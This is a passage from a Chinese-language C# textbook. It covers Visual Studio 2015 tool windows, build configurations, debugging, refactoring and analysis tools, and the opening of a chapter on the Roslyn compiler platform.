类视图的一个杰出功能是,如果右击任 何有权访问其源代码的项的名称,然后选择 上下文菜单中的Go To Definition命令,就会 转到代码编辑器中的项定义。另外,在类视 图中双击该项(或在代码编辑器中右击想要 的项,并从上下文菜单中选择相同的选 项),也可以查看该项的定义。上下文菜单 还允许给类添加字段、方法、属性、或索引器。换句话说,在对话框中指定相关成员的详 细信息,就会自动添加代码。这个功能对于添加属性和索引器非常有用,因为它可以减少 相当多的输入量。 4.使用Object Browser窗口 在.NET环境中编程的一个重要方面是能够找出基类或从程序集引用的其他库中有哪 些可用的方法和其他代码项。这个功能可通过Object Browser窗口来获得(参见图17- 30)。在Visual Studio 2015中选择View菜单中的Object Browser,可以访问这个窗口。使 用这个工具,可以浏览并选择现有的组件集,如.NET Framework 2.0到4.6版本、适用于 Windows运行库的.NET Portable Subsets,和.NET for UWP,并查看这个子集中可用的类和 类成员。在Browse下拉框中选择Windows Runtime,来选择Windows运行库,也可以找到 这个用于UWP应用程序的原生新API的所有名称空间、类型和方法。 图17-30 5.使用Server Explorer窗口 使用Server Explorer窗口,如图17-31所示,可以在编码时找出计算机在网络中的相关 信息。在该窗口的Servers部分中,可以找到服务运行情况的信息(这对于开发Windows服 务是非常有用的),创建新的性能计数,访问事件日志。在Data Connections部分中不仅 能够连接现有数据库,查询数据,还可以创建新的数据库。Visual Studio 2015也有一些内 置于Server Explorer的Windows Azure信息,包括Windows Azure Compute、Mobile Services、Storage、Service Bus和Virtual Machines选项。 图17-31 6.使用Cloud Explorer 如果安装了Azure SDK和Cloud Explorer扩展,那么Cloud Explorer (见图17-32)是一 个可用于Visual Studio 2015的新浏览器。使用Cloud Explorer可以访问Microsoft Azure订 阅,访问资源,查看日志文件,连接调试器,直接进入Azure门户。 图17-32 7.使用Document Outline窗口 可用于WPF和UWP应用程序的一个窗口是Document Outline。如图17-33所示,在这 个窗口中打开了第34章的一个应用程序,从中可以查看XAML元素的逻辑结构和层次结 构,锁定元素以防止其无意中被修改,在层次结构中轻松地移动元素,在新的元素容器中 分组元素和改变布局类型。 图17-33 使用这个工具还可以创建XAML模板,图形化地编辑数据绑定。 17.3.5 排列窗口 学习Visual Studio时会发现,许多窗口有一个有趣的功能会让人联想到工具栏。尤其 是,它们都可以浮动(也可以显示在第二个显示器上),也可以停靠。当它们停靠时,在 每个窗口右上角的最小化按钮旁边会显示一个类似图钉的额外图标。这个图标的作用确实 像图钉,它可以用来固定打开的窗口。固定窗口(图钉是垂直显示的)的行为与平时使用 的窗口一样。但当它们取消固定时(图钉是水平显示的),则窗口只有获得焦点,才会打 开。当失去焦点时(因为单击或者移动鼠标到其他地方),它们会快速退出到Visual Studio应用程序的主边框内。固定和取消固定窗口提供了另一种方式来更好地利用屏幕上 有限的空间。 Visual Studio 2015中的一个新特性是,可以存储不同的布局。用户很有可能运行在不 同的环境中。例如,在办公室笔记本电脑可能连接到两个大屏幕上,但在平面上编程时, 就只有一个屏幕。过去,可能总是根据需要安排窗口,必须一天几次地改变窗口的布局。 可能需要不同布局的另一个场景是做网络开发,创建UWP和Xamarin应用程序。现在可以 保存布局,轻松地从一个布局切换到另一个。在Window菜单中选择Save Window Layout,保存当前的工具布局。使用Window | Apply Window Layout,选择一个保存的布 局,把窗口安排为保存它们时的布局。 17.4 构建项目 Visual Studio不仅可以编写项目,它实际上是一个IDE,管理着项目的整个生命周 期,包括生成或编译解决方案。本节讨论如何用Visual Studio生成项目。 17.4.1 构建、编译和生成代码 讨论各种构建选项之前,先要弄清楚一些术语。从源代码转换为可执行代码的过程 中,经常看到3个不同的术语:构建、编译和生成。这3个术语的起源反映了一个事实:直 到最近,从源代码到可执行代码的过程涉及多个步骤(在C++中仍然如此)。这主要是因 为一个程序包含了大量的源文件。 例如,在C++中,每个源文件都需要单独编译。这就产生了所谓的对象文件,每个对 象文件包含类似于可执行代码的内容,但每个对象文件只与一个源文件相关。要生成一个 可执行文件,这些对象文件需要连接在一起,这个过程官方称为链接。这个合并过程通常 称为构建代码(至少在Windows平台上是如此)。然而,在C#术语中,编译器比较复杂, 能够将所有的源文件当作一个块来读取和处理。因此,没有真正独立的链接阶段,所以在 C#上下文中,术语“构建”和“编译”可以互换使用。 术语“生成”的含义与“构建”基本相同,虽然它在C#上下文中没有真正使用。术语“生 成”起源于旧的大型机系统,在该系统中,当一个项目由许多源文件组成时,就在一个单 独的文件中写入指令,告诉编译器如何构建项目:包含哪些文件和链接什么库等。这个文 件通常称为生成文件,在UNIX系统上它仍然是非常标准的文件。事实上,MSBuild项目 文件和旧的生成文件非常类似,它只是一个新的高级XML变体。在MSBuild项目中,可以 使用MSBuild命令,将项目文件当作输入,来编译所有的源文件。使用构建文件非常适合 于在一个单独的构建服务器上进行构建,其中所有的开发人员仅需要签入他们的代码,构 建过程会在深夜自动完成。第1章介绍了.NET Core命令行(CLI)工具,该命令行建立 了.NET Core环境。 17.4.2 调试版本和发布版本 C++开发人员非常熟悉生成两个版本的这种思想,有Visual Basic开发背景的开发人员 也不会十分陌生。其关键在于:可执行文件在调试时的目标和行为应与正式发布时不同。 准备发布软件时,可执行文件应尽可能小而快。但是,这两个目标与调试代码时的需求不 兼容,在接下来的小节中将看到这一点。 1.优化 在高性能方面,编译器对代码进行的多次优化起到了一定的作用。这意味着编译器在 编译代码时,会在代码实现细节中积极找出可以修改的地方。编译器所做的修改并不会改 变整体效果,但是会使程序更加高效。例如,假设编译器遇到了下面的源代码: double InchesToCm(double ins) => ins * 2.54; // later on in the code Y = InchesToCm(X); 就可能把它们替换为下面的代码: Y = X * 2.54; 类似地,编译器可能把下面的代码: { string message = "Hi"; Console.WriteLine(message); } 替换为: Console.WriteLine("Hi"); 这样,编译器就不需要在此过程中声明任何非必要的对象引用。 C#编译器会进行怎样的优化无从判断,我们也不知道前两个例子中的优化在特定情 况中是否会实际发生,因为编译器的文档没有提供这类细节。不过,对于C#这样的托管 语言,上述优化很可能在JIT编译时发生,而不是在C#编译器把源代码编译为程序集时发 生。显然,由于专利原因,编写编译器的公司通常不愿意过多地说明他们使用了什么技 巧。注意,优化不会影响源代码,而只影响可执行代码的内容。通过前面的示例,可以基 本了解优化产生的效果。 问题在于,虽然示例代码中的优化可以加快代码的运行速度,但是它们也增加了调试 的难度。在第一个例子中,假设想要在InchesToCm()方法中设置一个断点,了解该方 法的工作机制。如果在编译器做了优化后,可执行代码中不再包含InchesToCm()方 法,怎么可能进行这种操作呢?同样,如果编译后的代码中不再包含Message变量,又如 何监视该变量的值? 2.调试器符号 在调试过程中,经常需要查看变量的值,这时使用的是它们在源代码中的名称。问题 是可执行代码一般不包含这些名称——编译器用内存地址代替了变量名称。.NET在一定 程度上改变了这种情况,使程序集中的某些项以名称的形式存储,但是这只适用于少量的 项(例如公有类和方法),而且这些名称在JIT编译程序集后也仍然会被移除。如果让调 试器显示变量HeightInInches的值,但是编译器在查看可执行代码时只看到了地址,而没 有看到任何对名称HeightInInches的引用,自然就得不到期望的结果。 因此,为了正确地调试,需要在可执行文件中提供一些额外的调试信息。这些信息包 含变量名和代码行信息,允许调试器确定可执行机器汇编语言指令与源代码中的哪些指令 对应。但是,不应该在发布版本中包含这些信息,这既是出于专利考虑(提供调试信息会 方便其他人反汇编代码),也是因为包含调试信息会增加可执行文件的大小。 3.其他源代码调试指令 一个相关问题是,在调试时,程序经常包含一些额外的代码行,用于显示关键的调试 信息。显然,在发布软件前,需要从可执行代码中彻底删除这些相关指令。手动删除是可 以的,但是如果能以某种方式标记这些语句,让编译器在编译发布代码时自动忽略它们, 不是更方便吗?本书的第I部分提到,在C#中,定义合适的预处理器指令,再结合使用 Conditional特性(所谓的条件编译),就可以实现这种操作。 所有这些因素综合到一起,决定了几乎所有商业软件的编译调试方式与最终交付产品 的编译方式是稍有区别的。Visual Studio能够处理这种区别,因为Visual Studio在编译代码 时,会存储应传递给编译器的所有编译选项信息。为了支持不同类型的构建版本,Visual Studio需要存储多组编译选项。这些不同的版本信息集合称为配置。在创建项目时, Visual Studio会自动提供两种配置:调试和发布。 ● 调试: 这种配置通常指定编译器不优化编译过程,可执行文件应该包含额外的调 试信息,编译器假定调试预处理器指令Debug是存在的,除非源代码中显式使用 了#undefined Debug指令。 ● 发布: 这种配置指定编译器应优化编译过程,可执行文件不应包含额外的调试信 息,编译器不应假定源代码包含特定的预处理器符号。 还可以定义自己的配置,例如设置软件的专业级版本和企业级版本。过去,由于 Windows NT支持Unicode字符编码,但Windows 95不支持,因此C++项目经常使用 Unicode配置和MBCS(Multi-Byte Character Set,多字节字符集)配置。 17.4.3 选择配置 Visual Studio存储了多个配置的细节,那么在准备生成一个项目时,如何决定使用哪 个配置?答案是,项目总是有一个活动的配置,当要求Visual Studio生成项目时,就使用 这个配置。注意,活动配置是针对每个项目、而不是每个解决方案设置的。 在创建项目时,默认情况下Debug配置是活动配置。如果想修改活动配置,可以单击 Build菜单,选择Configuration Manager菜单项。在Visual Studio主工具栏的下拉菜单中也 可以找到此选项。 17.4.4 编辑配置 除了选择活动配置外,还可以查看及编辑配置。为此,在Solution Explorer中选择相 关的项目,然后选择Project菜单中的Properties菜单项,这会打开一个复杂的对话框。打开 该对话框的另一个方法是,在Solution Explorer中右击项目名称,然后从上下文菜单中选 择Properties。 这个对话框包含多个选项卡,用于选择要查看或编辑的常规属性类别。由于篇幅原 因,本节不展示所有的属性类别,只介绍其中两个最重要的选项卡。 根据应用程序是MSBuild还是CLI,可用的选项完全不同。首先,图17-34显示了WPF 应用程序的属性,其中显示了可用属性的选项卡式视图。这个屏幕截图显示了常规应用程 序设置。 图17-34 在Application选项卡中,可以选择要生成的程序集的名称及类型。可选的类型包括 Console Application、Windows Application和Class Library。当然,如果愿意,还可以修改 程序集的类型,但是,为什么不在一开始就让Visual Studio生成正确类型的项目呢? 图17-35显示了基于CLI的应用程序的配置。还可以看到Application设置,但选项仅限 于默认名称空间名和运行库部分。在这个屏幕图中,选择了RC 2的特定版本。 图17-35 图17-36显示了WPF应用程序的生成配置属性。注意,在对话框顶部的下拉列表中可 以指定要查看的配置类型。对于Debug配置,编译器假定已经定义了DEBUG和TRACE预 处理器符号。此外,编译器不会优化代码,而且会生成额外的调试信息。 图17-36 图17-37显示了CLI项目的构建配置属性。在这里可以选择构建输出。TypeScript设置 只与包含TypeScript代码的应用程序相关。TypeScript编译为JavaScript。 图17-37 17.5 调试代码 现在,已经准备好运行和调试应用程序了。在C#中调试应用程序与早于.NET的语言 一样,涉及的主要技巧是设置断点,使用断点检查在代码执行到特定位置时发生了什么情 况。 17.5.1 设置断点 在Visual Studio中,可在实际执行的任何代码行上设置断点。最简单的方法是在代码 编辑器中单击文档窗口最左边的灰色区域,或者在选中合适的行后按F9键。这会在该代 码行上设置一个断点,当程序执行到该行时将暂停执行,并把控制权转交给调试器。与 Visual Studio以前的版本一样,断点由代码编辑器中代码行左边的红色圆圈表示。Visual Studio还使用不同的颜色高亮显示该行代码的文本和背景。再次单击红色圆圈将删除断 点。 如果对于特定的问题,每次在特定的代码行暂停执行不足以解决该问题,则还可以设 置条件断点。为此,选择Debug | Windows | Breakpoints。在打开的对话框中,输入想要设 置的断点的细节。例如,在该对话框中可以执行以下操作: ● 指定只有遇到断点超过一定次数时,执行才应该中断。 ● 指定只有遇到代码行达到一定次数时,才激活断点。例如,执行代码行每达到20次 时就激活断点。这对于调试大型循环很有帮助。 ● 指定只有遇到变量满足一定条件时,执行才应该中断。此时,变量的值将被监视, 一旦该值发生变化,断点就会触发。但是,这个选项可能会显著减慢代码的执 行。在每行代码执行后就检查某个变量的值是否发生变化,会增加大量的处理器 时间。 使用该对话框还可以导出和导入断点设置,如果根据不同的调试场景想要使用不同的 断点设置,那么这些选项十分有用。另外,在该对话框中还可以存储调试设置。 17.5.2 使用数据提示和调试器可视化工具 在断点触发后,通常想要查看变量的值。最简单的方法是在代码编辑器中,在变量名 的上方悬停光标。这将弹出一个很小的数据提示框,其中显示了该变量的值。也可以展开 数据提示框来查看更多细节,如图17-38所示。 图17-38 数据提示中的某些值会带有一个放大镜图标。单击这个放大镜图标时,根据数据的类 型,会显示一个或多个使用调试器可视化工具(debugger visualizer)的选项。对于WPF控 件,使用WPF Visualizer可以更详细地查看控件,如图17-39所示。在此可视化工具中,可 以使用可视化树查看运行期间的变量,包括所有的实际属性设置。通过该可视化树可以预 览在该树中选择的元素。 图17-39 如图17-40所示的JSON Visualizer可显示JSON内容。还有其他许多可视化工具,如 HTML、XML和Text可视化工具。 图17-40 17.5.3 Live Visual Tree Visual Studio 2015为基于XAML的应用程序提供了一个新特性:Live Visual Tree。调 试UWP和WPF应用程序时,可以打开Live Visual Tree (见图17-41):选择Debug | Windows | Live Visual Tree,就会在Live Property Explorer中打开XAML元素的实时树(包 括其属性)。使用此窗口,可以单击Selection按钮,在UI中选择一个元素,在树中查看它 的元素。在Live Property Explorer中,可以直接改变属性,看看这种改变在运行着的应用 程序上的结果。 图17-41 17.5.4 监视和修改变量 有时候,需要连续查看变量的值。此时,可以使用Autos、Locals和Watch窗口检查变 量的内容。这3个窗口监视不同的变量: ● Autos——监视在程序执行过程中离断点最近的几个变量。 ● Locals——监视在程序执行过程中当前断点所在方法内可访问的变量。 ● Watch——监视在程序执行过程中显式指定名称的任何变量。可以把变量拖放到 Watch窗口中。 只有当使用调试器运行程序时,这些窗口才是可见的。如果看不到它们,则选择 Debug |Windows,然后根据需要选择菜单项。考虑到可能要监视的内容过多,需要进行分 组,Watch窗口提供了4个不同的窗口。在这些窗口中都可以查看和修改变量的值,所以 不必离开调试器就可以尝试改变程序的不同路径。图17-42显示了Locals窗口。 图17-42 另外,还有一个Immediate窗口,虽然它与刚才讨论的其他几个窗口没有直接关系, 但仍然是一个可以监视和修改变量的重要窗口。在该窗口中可以查看变量的值。还可以在 此窗口中输入并运行代码,这样在调试过程中进行测试时就能够关注细节,试用方法,以 及动态修改调试运行。 17.5.5 异常 在准备交付应用程序时,异常是很好的帮手,它们确保错误条件得到了恰当的处理。 如果正确使用,异常就能够确保用户不会看到技术性或者恼人的对话框。但是,在调试应 用程序时,异常就没有那么令人愉快了。它们的问题在于两个方面: ● 如果在调试过程中发生异常,通常不希望自动处理它们,特别是有时自动处理异常 意味着应用程序将终止。调试器应能帮助确定为什么会发生异常。当然,如果编 写了优良、健壮的防御性代码,程序将能够自动处理几乎任何事情,包括想要检 测的bug! ● 如果发生了某个异常,.NET运行库就会尝试搜索该异常的处理程序,即使没有为 该异常编写处理程序。没有找到异常时,它会终止程序。这时没有了调用栈,意 味着所有的变量将超出作用域,所以将无法查看任何变量的值。 当然,可以在catch块中设置断点,但是这常常没有多大帮助,因为按照定义,当遇 到catch块时,执行流已经退出了对应的try块。这意味着想要通过检查变量值来确定问题 所在时,那些变量已经超出了作用域。甚至不能通过查看栈跟踪来找出在遇到throw语句 时执行的方法,因为控制流已经离开了该方法。在throw语句处设置断点显然可以解决这 个问题,但是对于防御性编码,代码中将存在许多throw语句。如何判断哪条throw语句抛 出了该异常? Visual Studio为这种问题提供了一个很好的解决方法。可以配置调试器中断处的异常 类型。这在菜单Debug | Windows | Exception Settings中配置。如图17-43所示,在该窗口中 可以指定抛出异常后执行什么操作。例如,可以选择继续执行,或者停止执行并启动调试 ——此时程序将停止执行,调试器将在throw语句位置启动。 图17-43 这个对话框的强大之处在于允许根据所抛出异常的类型选择相应的操作。例如,可以 配置为在遇到.NET基类抛出的任何异常时进入调试器,但是对于其他异常类型则不进入 调试器。 Visual Studio知道.NET基类中的所有异常类,以及许多可在.NET环境外抛出的异常。 Visual Studio不会自动知道用户编写的任何自定义异常类,但是可以把自定义异常类手动 添加到Visual Studio的异常列表中,并指定哪些自定义异常类应该导致执行立即停止。为 此,只需要单击Add按钮(在列表中选择一个顶层节点时,将启用该按钮),并输入自定 义异常类的名称即可。 17.5.6 多线程 Visual Studio为调试多线程程序提供了出色的支持。在调试多线程程序时,必须理解 在调试器中运行与不在调试器中运行时,程序的行为会发生变化。遇到断点时,Visual Studio会停止程序的所有线程,所以此时有机会查看所有线程的当前状态。为了在不同的 线程间切换,可以启用Debug Location工具栏。这个工具栏有一个针对所有进程的组合 框,还有另外一个组合框,用于当前运行的应用程序的所有线程。当选择一个不同的线程 时,可以看到该线程在哪一行代码暂停,以及当前可在其他线程中访问的变量。Parallel Tasks窗口(如图17-44所示)显示了所有正在运行的任务,包括这些任务的状态、位置、 任务名、任务使用的当前线程、所在的应用程序域以及进程标识符。该窗口还显示了不同 的线程在什么时候彼此阻塞,导致死锁。 图17-44 图17-45显示了Parallel Stacks窗口,该窗口以分层视图的形式显示了不同的线程或任 务(取决于所选项)。单击任务或线程可跳转到对应的源代码。 图17-45 17.6 重构工具 许多开发人员在开发应用程序时首先完成功能,然后修改应用程序,使它们更易于管 理和阅读。这个过程称为重构。重构过程包括修改代码来实现更好的性能和可读性,提供 类型安全,以及确保应用程序符合标准的面向对象编程实践。更新应用程序时,也需要重 构。 Visual Studio 2015的C#环境包含一组重构工具,位于Visual Studio菜单的Refactoring 选项中。为了演示这些工具,在Visual Studio中创建一个新类Car: public class Car { public string color; public string doors; public int Go() { int speedMph = 100; return speedMph; } } 现在,假设为了进行重构,需要对代码稍作修改,将变量color和door封装到公有 的.NET属性中。Visual Studio 2015的重构功能允许在文档窗口中简单地右击这两个属性, 然后选择Quick Actions,就会看到不同的重构选项,例如生成构造函数,来填充字段,或 者封装字段,如图17-46所示。 图17-46 在该对话框中可以提供属性的名称,然后单击Preview链接,或者直接接受更改。选 择封装字段的按钮时,代码将修改为如下所示: public class Car { private string color; public string Color { get { return color; } set { color = value; } } private string doors; public string Doors { get { return doors; } set { doors = value; } } public int Go() { int speedMph = 100; return speedMph; } } 可以看到,使用这些向导重构代码很简单,不仅是一页的代码,重构整个应用程序的 代码都一样简单。Visual Studio的重构工具还提供了以下功能: ● 重命名方法、局部变量、字段等 ● 从选定代码中提取方法 ● 基于一组已有的类型成员提取接口 ● 将局部变量提升为参数 ● 重命名参数或修改参数的顺序 Visual Studio 2015的重构工具是得到更整洁、可读性更好、结构更合理的代码的一种 优秀方法。 17.7 体系结构工具 在开始编写程序前,应该从体系结构的角度考虑解决方案,分析需求,然后定义解决 方案的体系结构。Visual Studio Ultimate 2015企业版提供了体系结构工具。 图17-47显示了在创建一个建模项目后的Add New Item对话框。使用该对话框中的选 项可创建UML用例图、组件图、类图、序列图和活动图。有不少图书专门介绍标准的 UML关系图,所以这里不讨论它们,而是重点介绍Microsoft提供的两种关系图:依赖项 关系图(或定向关系图文档)和层关系图。 图17-47  注意: 如何创建和使用UML图在本书中未涉及。它们不是新内容,读者可能 已经很了解它们了。如果不了解,可以阅读介绍UML图的特点的几本书。它们的用法 在Visual Studio中并没有区别。 本节的重点仍是与体系结构工具和分析应用程序相关的Microsoft特定功能。特别是创 建代码地图、层图、使用诊断工具来配置应用程序、代码分析和代码度量。 17.7.1 代码地图 在代码地图中,可以查看程序集、类甚至类成员之间的依赖关系。图17-48显示了第 26章中Calculator示例的代码地图,该示例包含一个计算器宿主应用程序和几个类库,例 如协定程序集以及插件程序集SimpleCalculator、FuelEconomy和TemperatureConversion。 通过选择Architecture | Create Code Map for Solution,可以创建代码地图。这会分析解决方 案中的所有项目,在一个关系图中显示所有程序集,并在程序集之间绘制连线以显示依赖 关系。程序集之间的连线的粗细程度反映了依赖程度。程序集中包含了几个类型和类型的 成员,许多类型及其成员在其他程序集中使用。 图17-48 还可以更深入地查看依赖关系。图17-49显示了一个更详细的关系图,包括Calculator 程序集的类及它们的依赖关系。图中还显示了对CalculatorContract程序集的依赖。在更大 的关系图中,还可以缩放关系图的不同部分。 图17-49 还可以更进一步,显示字段、属性、方法、事件以及它们之间的依赖关系。 17.7.2 层关系图 层关系图与代码地图密切相关。在创建层关系图时,既可以使用依赖项关系图(或者 在Solution Explorer中选择程序集或类),也可以在进行任何开发前从头创建。 在分布式解决方案中可以使用不同的层定义客户端和服务器端,例如,将一个层用于 Windows应用程序,一个层用于服务,一个层用于数据访问库,或者让层基于程序集。层 中还可以包含其他层。 在如图17-50所示的层关系图中,主层包括Calculator UI、CalculatorUtils、Contracts和 AddIns。AddIns层中又包含FuelEconomy、TemperatureConversion和Calculator层。层旁边 显示的数字反映了链接到该层的项数。 图17-50 为了创建层关系图,选择Architecture | New UML or Layer Diagram | Layer Diagram, 这会创建一个空关系图。然后,使用工具箱或者Architecture Explorer,在这个空关系图中 添加层。Architecture Explorer包含一个Solution View和一个Class View,从中可以选择解 决方案中的所有项,并把它们添加到层关系图中。构建层关系图只需要选择项并添加到层 中。选择一个层,然后单击上下文菜单中的View Links,可打开如图17-51所示的Layer Explorer,其中显示了选定层包含的所有项。 图17-51 在应用程序开发期间,可以通过验证层关系图来分析是否所有的依赖关系都正确。如 果某个层的依赖关系的方向相反,或者依赖一个错误的层,体系结构验证就会返回错误。 17.8 分析应用程序 前一节讨论的体系结构关系图(依赖项关系图和层关系图)并不只是在开始编码前考 虑的问题,实际上它们还可以帮助分析应用程序,保持应用程序的开发走在正确的轨道 上,确保不会生成错误的依赖关系。Visual Studio 2015提供了许多有用的工具来帮助分析 应用程序,提前解决应用程序中可能发生的问题。本节将讨论其中的一些分析工具。 与体系结构工具类似,分析工具也在Visual Studio 2015企业版中可用。 17.8.1 诊断工具 为了分析应用程序的完整运行,可以使用诊断工具。诊断工具用于确定调用了什么方 法、方法的调用频率、方法调用所需的时间、使用的内存量等。在Visual Studio 2015中, 启动调试器时,会自动启动诊断工具。使用诊断工具,还可以看到IntelliTrace(历史调 试)事件。遇到一个断点后,能够查看以前的信息(如图17-52所示),例如以前的断 点、抛出的异常、数据库访问、ASP.NET事件、跟踪或者用户操作(如单击按钮)。单 击以前的事件时,可以查看局部变量、调用栈以及函数调用。使用这种功能时,不需要重 启调试器并为发现问题前调用的方法设置断点,就可以轻松地找到问题所在。 图17-52 启动诊断工具的另一种方法是通过配置文件来启动:Debug | Profiler | Start Diagnostic Tools Without Debugging。这里可以对要启动的功能进行更多的控制(见图17-53)。根据 使用的项目类型,可以使用或多或少的特性。对于UWP项目,也可以分析能源消耗,这 是移动设备的一个重要事实。 图17-53 第一个选项Application Timeline (见图17-54)提供了UI线程的信息,以及解析、布 局、渲染、I/O和应用代码所花的时间。根据所花的最多时间,可以确定优化在哪里是有 用的。 图17-54 如果选择CPU Usage选项,监控的开销就很小。使用此选项时,每经过固定的时间间 隔就对性能信息采样。如果方法调用运行的时间很短,就可能看不到这些方法调用。但是 再提一次,这个选项的优势在于开销很低。进行探查时总是应该记住,并不只是在监视应 用程序的性能,也是在监视数据获取操作的性能。所以不应该同时探查全部数据,因为采 样全部数据会影响得到的结果。收集关于.NET内存分配的信息有助于找出发生内存泄漏 的地方,以及哪种类型的对象需要多少内存。资源争用数据对分析线程有帮助,能够很容 易地看出不同的线程是否会彼此阻塞。 在Performance Explorer中配置选项后,可以退出向导,并立即启动应用程序,开始探 查。以后还可以通过修改探查设置的属性来更改一些选项。通过这些设置,可以在检测会 话中添加内存探查,在探查会话中添加CPU计数器和Windows计数器,以查看这些信息以 及其他一些探查的数据。 启动列表中的最后一个选项Performance Wizard (见图17-55)允许配置是否希望监视 CPU使用抽样或使用检测,在哪里检测每个方法调用,以便看到很小的方法调用、内存分 配和并发性。 图17-55 图17-56显示了一个探查会话的摘要屏幕。从中可以看到应用程序的CPU使用率,说 明哪些函数占用最长时间的热路径(hot path),以及使用最多CPU时间的函数的排序列 表。 图17-56 诊断工具还有许多屏幕,这里无法一一展示。其中有一个函数视图,允许根据函数调 用次数进行排序,或者根据函数占用的时间(包括或者不包含函数调用本身)进行排序。 这些信息有助于确定哪些方法的性能值得关注,而其他的方法则可能因为调用得不是很频 繁或者不会占用过多时间,所以不必考虑。 在函数内单击,就会显示该函数的详细信息,如图17-57所示。这样就可以看到调用 了哪些函数,并立即开始单步调试源代码。Caller/Callee视图也会显示函数的调用关系。 图17-57 Visual Studio Professional提供了探查功能。在Enterprise Edition中,可以配置层交互探 查,查看生成的SQL语句和ADO.NET查询花费的时间,以及关于ASP.NET页面的信息。 17.8.2 Concurrency Visualizer Concurrency Visualizer用于分析应用程序的线程问题。运行此分析工具可得到如图17- 58所示的摘要屏幕。在该屏幕中,可以比较应用程序需要的CPU资源与系统的整体性能。 还可以切换到Threads视图,查看所有正在运行的应用程序线程及其在各个时间段所处状 态的信息。切换到Cores视图会显示使用了多少CPU核心的信息。如果应用程序只使用了 一个CPU核心,并且一直处于繁忙状态,那么通过添加一些并行功能,使用更多的CPU核 心,可能会改进性能。在不同的时间,可能看到不同的线程处于活动状态,但是在给定的 时间点,只能有一个线程处于活动状态。在这种情况中,可能需要修改锁定行为。还可以 查看线程是否使用了I/O。如果多个线程的I/O使用率都很高,那么磁盘可能是瓶颈,导致 线程都在等待彼此完成I/O。此时,可能需要减少执行I/O的线程数,或者使用一个SSD磁 盘。显然,这些分析工具提供了大量很有帮助的信息。 图17-58  注意: 在Visual Studio 2015中,需要通过Tools | Extensions and Updates下载 并安装Concurrency Visualizer。 17.8.3 代码分析器 Visual Studio 2015的一个新特性(利用了.NET编译器平台)是代码分析器。使用编译 器的API时,很容易创建代码分析器,给出应改变的内容的指南。  注意: .NET编译器平台参见第18章。 当然,通常没有必要创建自定义分析器,因为已经有许多可用的NuGet包。NuGet包 Microsoft.Analyzer.PowerPack来自微软,为许多场景提供了良好的代码分析。安装这样一 个分析器后,可以在Solution Explorer的Analyzers部分看到它,Analyzers部分在References 节点下面。 17.8.4 Code Metrics 通过检查代码度量,可以知道代码的可维护程度。图17-59中的代码度量显示完整 Calculator库的可维护程度指数为82,还包含每个类和方法的细节。这些评级采用颜色编 码:红色(0~9)表示可维护程度低;黄色(10~19)表示可维护程度中等;绿色(20~ 100)表示可维护程度高。Cyclomatic Complexity列提供了关于不同代码路径的反馈。更 多的代码路径意味着需要对每个选项进行更多的单元测试。Depth of Inheritance列反映了 类型的层次。基类数越多,就越难找出某个字段属于哪个基类。Class Coupling列表明了 类型的耦合程度,例如用于参数或局部变量。耦合程度越高,意味着越难维护代码。 图17-59 17.9 小结 本章探讨了.NET环境中最重要的编程工具之一:Visual Studio 2015。大部分内容都在 讲解这个工具如何简化C#编程。 Visual Studio 2015是最便于编程的开发环境之一。它不只方便了开发人员实现快速应 用程序开发(Rapid Application Development, RAD),还使得开发人员能够深入探索应用 程序的创建机制。本章主要关注如何使用Visual Studio进行重构、生成多个版本、分析现 有代码。 本章还介绍了.NET Framework 4.6提供的最新项目模板,包括Windows Presentation Foundation、Windows Communication Foundation和Universal Windows Platform应用程序。 第18章介绍C# 6的一个新特性:新的.NET编译器平台,代码名称是Roslyn。 第18章 .NET编译器平台 本章要点 ● 编译器管道概述 ● 语法分析 ● 语义分析 ● 代码转换 ● 代码重构 本章源代码下载: 本章源代码的下载地址为www.wrox.com/go/professionalcsharp6。单击Download Code 选项卡即可下载本章源代码。本章代码分为以下几个主要的示例文件: ● WPFSyntaxTree ● SyntaxQuery ● SyntaxWalker ● SemanticsCompilation ● TransformMethods ● SyntaxRewriter ● PropertyCodeRefactoring 18.1 简介 C# 6的最重要的变化是,C#有一个由.NET编译器平台新交付的编译器(代码名为 Roslyn)。最初,C#编译器是用C++编写的。现在,它的主要部分是用C#和.NET创建 的。编译器平台是开源的,位于http://github.com/dotnet/Roslyn。 这个更新的一个优点是,微软公司清理了过去20年编写的很多旧代码。有了新的代码 库,使用C#实现新功能要容易得多,新代码更易于维护。这是第6版有很多小的C#语言改 进的原因,微软公司一直进行这种改进;但项目维护多年,就很难更新源代码了。在某种 程度上,从头开始建立项目会比较好。 重写C#编译器的一个更大优势是,现在可以利用编译器管道,在编译器管道的每一 步添加功能,并分析和转换源代码。 大多数开发人员都只使用Visual Studio中的工具,而这些工具使用了.NET编译器平台 本身,但对于许多开发人员而言,创建自定义代码分析器是很有用的(可能在团队中使 用),并进行代码转换,例如迁移旧代码,将它转换成新的技术。 在Visual Studio中的什么地方能看到使用.NET编译器平台?一个例子是代码编辑器, 在输入字符的所有时间里都在使用API。使用智能标签实现接口时,与以前的版本相比, Visual Studio 2015有一个有趣的区别:实现IDisposable接口并单击智能标签时,不仅看到 Implement Interface和Implement Interface Explicitly选项,也会看到Implement Interface with Dispose Pattern和ImplementInterface Explicitly with Dispose Pattern选项(参见图18-1)。在 Visual Studio的先前版本中,实现接口的唯一自动方式是,自动生成接口中定义的方法存 根和属性存根,其中接口的实现代码抛出NotImplementedException异常。现在可以根据接 口的类型有不同的实现。对于IDisposable接口,不仅实现Dispose()方法,还会实现此接 口所需的完整模式,比如带布尔参数的Dispose()方法,检查对象是否已经销毁但仍调 用;还实现了可选的终结器。 图18-1 本章描述.NET编译器平台的特性以及如何分析和转换源代码。使用调试器来了解类 型和成员对本书的所有章节都是有益的。本章使用的调试器非常有用。.NET编译器平台 SDK包括成千上万的类型和数量巨大的成员,所以调试代码的确能帮助找出可以避免错误 的信息。 本章需要随Visual Studio 2015一起安装Visual Studio 2015 SDK和.NET Compiler Platform SDK Templates for Visual Studio 2015 (在扩展和更新包中)。 示例项目需要添加Microsoft.CodeAnalysis NuGet包。 18.2 编译器管道 编译器管道包括以下阶段,得到不同的API和特性: ● 解析器——阅读和标记化源代码,然后将其解析为一个语法树。语法树API用于在 源代码编辑器中格式化、着色、列出大纲。 ● 声明——分析源代码中的声明和导入的元数据,以创建符号。为这一阶段提供了符 号API。在编辑器和对象浏览器中的Navigation To特性使用这个API。 ● 绑定——标识符匹配符号。为这一阶段提供了绑定和流分析API。Find All References、Rename、Quick Info和Extract Method等特性使用这个API。 ● 发布——创建IL代码,发布一个程序集。发布API可用于创建程序集。编辑器中的 Edit and Continue特性需要一个新的编译,来利用发布阶段。 